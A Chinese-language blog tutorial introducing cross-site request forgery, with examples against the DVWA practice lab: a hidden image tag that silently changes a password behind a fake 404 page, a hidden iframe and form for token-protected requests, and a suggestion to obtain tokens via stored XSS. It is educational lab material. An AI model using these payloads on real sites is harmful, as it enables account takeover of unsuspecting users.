返回博客列表

认识CSRF

2018年7月11日
3 min read
网络安全

##CSRF(Cross-site request forgery),跨站点请求伪造。

CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。

CSRF是诱导用户点击一个链接。在用户使用同一个浏览器的情况下,cookie是通用的。这样不需要盗取cookie,用户点击一些如改密链接(如果服务器对用户的验证仅仅使用cookie),在不知情的情况下就会完成操作。

其中有一些小技巧,如 1)生成短链接,隐藏参数和攻击者域名。

生成短域名

2)构造返回页面,隐藏错误信息。 如链接到攻击者服务器的页面

<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

返回404页面而不是修改密码的提示 404

3)如果服务端加了token的验证,可以通过在攻击页面中 访问目标页面获取token。

在此DVWA案例中,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

构造如下攻击页面:



 

<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

</iframe>

 

<body onload="attack()">

  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">

   <input type="hidden" name="password_new" value="password">

    <input type="hidden" name="password_conf" value="password">

   <input type="hidden" name="user_token" value="">

  <input type="hidden" name="Change" value="Change">

   </form>

</body>

然而现在的浏览器是会过滤跨域请求的,所以位于攻击者服务器上的访问不能成功。 所以只要要将攻击代码注入到目标页面中,也就是先使用存储型xss获取token,再将token加入crsf链接中即可。

防御CRSF很简单,只要让用户输入原密码就行。也就是在关键页面验证密码,或者要求一些页面外存储的信息(证书什么的)

评论讨论

使用 GitHub 账号登录参与讨论

加载评论中...